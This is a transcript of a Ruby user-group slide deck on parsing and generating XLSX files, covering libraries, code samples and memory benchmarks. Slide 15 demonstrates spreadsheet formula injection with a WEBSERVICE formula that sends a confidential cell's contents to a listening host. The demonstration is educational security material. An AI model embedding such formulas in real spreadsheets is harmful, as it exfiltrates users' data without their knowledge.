Upgrade to Pro — share decks privately, control downloads, hide ads and more …

XLSX in Ruby. RRUG #9

mrzasa
October 12, 2017

XLSX in Ruby. RRUG #9

Handling XLSX files in ruby - parsing, generating; efficiency and security.
Slides from presentation during Rzeszów Ruby User Group meetup.

mrzasa

October 12, 2017
Tweet

More Decks by mrzasa

Other Decks in Programming

Transcript

  1. XLSX IN RUBY
    XLSX IN RUBY
    MACIEK RZĄSA,
    MACIEK RZĄSA,
    Rzeszów Ruby User Group, 12.10.2017
    @MJRZASA
    @MJRZASA

    View Slide

  2. WHY XLSX?
    WHY XLSX?

    View Slide

  3. INTERNALS
    INTERNALS
    $ unzip -l 10-shared-true.xlsx
    Archive: 10-shared-true.xlsx
    Length Date Time Name
    --------- ---------- ----- ----
    1944 2017-10-12 01:07 xl/worksheets/sheet1.xml
    313 2017-10-12 01:07 xl/workbook.xml
    1090 2017-10-12 01:07 xl/styles.xml
    1439 2017-10-12 01:07 xl/sharedStrings.xml
    566 2017-10-12 01:07 xl/_rels/workbook.xml.rels
    297 2017-10-12 01:07 _rels/.rels
    817 2017-10-12 01:07 [Content_Types].xml
    --------- -------
    6466 7 files

    View Slide

  4. xl/worksheets/sheet1.xml

    View Slide

  5. PARSING
    PARSING
    roo
    creek
    rubyXL

    View Slide

  6. PARSING EXAMPLE
    PARSING EXAMPLE
    sheet = Roo::Excelx.new(path)
    sheet.cell(1,1)
    sheet.cell('A',1)
    sheet.cell(1,'A')
    sheet.a1
    cells = sheet.sheet_for(sheet.sheets.first).cells
    data = sheet.header_line.upto(sheet.last_row).map do |row|
    [cells[[row, 1]]), cells[[row, 2]]]
    end

    View Slide

  7. PARSING PERFORMANCE
    PARSING PERFORMANCE
    source:spin.atomicobject.com

    View Slide

  8. GENERATING
    GENERATING
    axlsx
    xlsxtream

    View Slide

  9. AXLSX
    AXLSX
    Axlsx::Package.new.tap do |p|
    p.workbook.add_worksheet(name: 'Test') do |sheet|
    data.each do |row|
    sheet.add_row(row)
    end
    end
    p.use_shared_strings = true
    p.serialize(path)
    end

    View Slide

  10. XLSXTREAM
    XLSXTREAM
    Xlsxtream::Workbook.open(path,
    use_shared_strings: true) do |xlsx|
    xlsx.write_worksheet "Test" do |sheet|
    data.each do |row|
    sheet << row
    end
    end
    end

    View Slide

  11. PERFORMANCE
    PERFORMANCE

    View Slide

  12. View Slide

  13. XLSX/CSV MEMORY
    XLSX/CSV MEMORY
    [csv]10 25847 allocated
    [csv]100 62069 allocated - 2.40x more
    [stream]10 77358 allocated - 2.99x more
    [stream]100 273694 allocated - 10.59x more
    [csv]1000 424315 allocated - 16.42x more
    [axlsx]10 527579 allocated - 20.41x more
    [axlsx]100 1528683 allocated - 59.14x more
    [stream]1000 1927186 allocated - 74.56x more
    [csv]10000 4046771 allocated - 156.57x more
    [axlsx]1000 11062251 allocated - 427.99x more
    [stream]10_000 17440784 allocated - 674.77x more
    [axlsx]10_000 104650749 allocated - 4048.85x more

    View Slide

  14. XLSX/CSV GENERATION TIME
    XLSX/CSV GENERATION TIME

    View Slide

  15. SECURITY
    SECURITY
    let's try it
    require 'axlsx'
    Axlsx::Package.new.tap do |p|
    p.workbook.add_worksheet(name: 'Test') do |s|
    s.add_row(['Secret client data'])
    s.add_row(['=1+2',
    '=WEBSERVICE(CONCAT
    ("http://localhost:4567/", "'", A1, "'"))'
    ])
    end
    p.serialize('out/injection-axlsx.xlsx')
    end

    View Slide

  16. CAN WE AVOID USING XLSX?
    CAN WE AVOID USING XLSX?

    View Slide

  17. SOURCES
    SOURCES
    https://spin.atomicobject.com/2017/03/22/parsing-ex
    ruby/
    https://stackover�ow.com/q/3321011/580346
    https://stackover�ow.com/q/40804944/580346
    https://pentestmag.com/formula-injection/
    https://twitter.com/owickstrom/status/91766512471

    View Slide